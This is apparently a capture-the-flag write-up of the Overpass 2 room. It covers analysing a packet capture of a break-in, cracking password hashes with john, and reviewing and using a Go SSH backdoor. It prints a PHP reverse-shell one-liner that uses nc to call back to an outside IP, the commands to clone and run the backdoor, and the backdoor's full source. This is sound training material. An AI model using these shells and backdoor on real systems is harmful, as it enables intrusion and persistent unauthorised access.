The room provides a .pcapng file, which we can look at with network protocol analyzer like wireshark

wireshark

This group of http traffic looks interesting, and we can view each packet by right clicking and selecting Follow > HTTP Stream (we can filter with searches like tcp.stream eq 1)

http-chunk

It looks like the attacker uploaded their reverse shell to /development/upload.php as payload.php.

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

payload

By continuig to follow this stream, I can also see that the attacker defaced the page after getting on the box

deface

Escalated to james (from www-data) with the password whenevernoteartinstant

james -> www-data

Viewed .overpass? (I have no idea what the relevance of this file is)

www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.

Used their sudo access to view /etc/shadow

sudo -l

And went on to backdoor the box with the commands

git clone https://github.com/NinjaJc01/ssh-backdoor
cd ssh-backdoor
ssh-keygen
chmod +x backdoor
./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

The room asks us to crack shadow with the fastrack wordlist, we can do this with john

┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ john shadow --wordlist=/usr/share/wordlists/fasttrack.txt | tee shadow-cracked
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
secuirty3        (paradox)     
secret12         (bee)     
abcd123          (szymex)     
1qaz2wsx         (muirland)     
4g 0:00:00:03 DONE (2023-02-02 19:54) 1.017g/s 56.48p/s 243.2c/s 243.2C/s 2003..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh-backdoor code review

The actual backdoor is written in go and some build/setup scripts are provided (along with a built version)

main.go:

package main

import (
	"crypto/sha512"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net"
	"os/exec"

	"github.com/creack/pty"
	"github.com/gliderlabs/ssh"
	"github.com/integrii/flaggy"
	gossh "golang.org/x/crypto/ssh"
	"golang.org/x/crypto/ssh/terminal"
)

var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"

func main() {
	var (
		lport       uint   = 2222
		lhost       net.IP = net.ParseIP("0.0.0.0")
		keyPath     string = "id_rsa"
		fingerprint string = "OpenSSH_8.2p1 Debian-4"
	)

	flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
	flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
	flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
	flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
	flaggy.String(&hash, "a", "hash", "Hash for backdoor")
	flaggy.Parse()

	log.SetPrefix("SSH - ")
	privKeyBytes, err := ioutil.ReadFile(keyPath)
	if err != nil {
		log.Panicln("Error reading privkey:\t", err.Error())
	}
	privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
	if err != nil {
		log.Panicln("Error parsing privkey:\t", err.Error())
	}
	server := &ssh.Server{
		Addr:            fmt.Sprintf("%s:%v", lhost.String(), lport),
		Handler:         sshterminal,
		Version:         fingerprint,
		PasswordHandler: passwordHandler,
	}
	server.AddHostKey(privateKey)
	log.Println("Started SSH backdoor on", server.Addr)
	log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
	resultHash := hashPassword(password, salt)
	return resultHash == hash
}

func hashPassword(password string, salt string) string {
	hash := sha512.Sum512([]byte(password + salt))
	return fmt.Sprintf("%x", hash)
}

func sshHandler(s ssh.Session) {
	command := s.RawCommand()
	if command != "" {
		s.Write(runCommand(command))
		return
	}
	term := terminal.NewTerminal(s, "$ ")
	for {
		command, _ = term.ReadLine()
		if command == "exit" {
			return
		}
		term.Write(runCommand(command))
	}
}

func sshterminal(s ssh.Session) {
	cmd := exec.Command("/bin/bash", "-i")
	ptyReq, _, isPty := s.Pty()
	if isPty {
		cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
		f, err := pty.Start(cmd)
		if err != nil {
			panic(err)
		}
		go func() {
			io.Copy(f, s) // stdin
		}()
		io.Copy(s, f) // stdout
		cmd.Wait()
	} else {
		io.WriteString(s, "No PTY requested.\n")
		s.Exit(1)
	}
}

func runCommand(cmd string) []byte {
	result := exec.Command("/bin/bash", "-c", cmd)
	response, _ := result.CombinedOutput()
	return response
}

func passwordHandler(_ ssh.Context, password string) bool {
	return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}

First the default hash is set

var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"

Then the main function specifies flags (lport, lhost, the private key, finger print, and a hash) and sets an SSH server up.

These functions show that the hash = sha512(password+salt)

func verifyPass(hash, salt, password string) bool {
	resultHash := hashPassword(password, salt)
	return resultHash == hash
}

func hashPassword(password string, salt string) string {
	hash := sha512.Sum512([]byte(password + salt))
	return fmt.Sprintf("%x", hash)
}

And this function specifies the default salt

func passwordHandler(_ ssh.Context, password string) bool {
	return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}

Knowing this, we can crack the attacker’s hash with john

┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ john attacker-hash --wordlist=/usr/share/wordlists/rockyou.txt --format='dynamic=sha512($p.$s)' | tee attacker-hash-cracked
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic=sha512($p.$s) [128/128 SSE2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
november16       (?)     
1g 0:00:00:02 DONE (2023-02-02 20:25) 0.4587g/s 8477p/s 8477c/s 8477C/s yasmeen..nolan
Use the "--show --format=dynamic=sha512($p.$s)" options to display all of the cracked passwords reliably
Session completed.

getting on the box

We can use the backdoor to get on the box (-oHostKeyAlgorithms=+ssh-rsa has to do with legacy support)

┌──(kali㉿kali)-[~/Rooms/overpass-2]
└─$ ssh root@10.10.249.32 -p 2222 -oHostKeyAlgorithms=+ssh-rsa 
The authenticity of host '[10.10.249.32]:2222 ([10.10.249.32]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.249.32]:2222' (RSA) to the list of known hosts.
root@10.10.249.32's password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@overpass-production:/home/james/ssh-backdoor$

user

We’re also given an SUID’d bash for easy privesc

james@overpass-production:/home/james$ ls -la
total 1276
drwxr-xr-x 7 james james    4096 Feb  3 02:16 .
drwxr-xr-x 7 root  root     4096 Jul 21  2020 ..
lrwxrwxrwx 1 james james       9 Jul 21  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 james james    3771 Apr  4  2018 .bashrc
drwx------ 2 james james    4096 Jul 21  2020 .cache
drwx------ 3 james james    4096 Feb  3 02:16 .gnupg
drwxrwxr-x 3 james james    4096 Jul 22  2020 .local
-rw------- 1 james james      51 Jul 21  2020 .overpass
-rw-r--r-- 1 james james     807 Apr  4  2018 .profile
-rw-r--r-- 1 james james       0 Jul 21  2020 .sudo_as_admin_successful
-rwsr-sr-x 1 root  root  1113504 Jul 22  2020 .suid_bash
-rw-r--r-- 1 james james  140067 Feb  3 02:17 james-linpeas
drwxrwxr-x 3 james james    4096 Jul 22  2020 ssh-backdoor
-rw-rw-r-- 1 james james      38 Jul 22  2020 user.txt
drwxrwxr-x 7 james james    4096 Jul 21  2020 www

root

hindsight

  • getting better with wireshark (or learning tshark) would get these pcap writeups made faster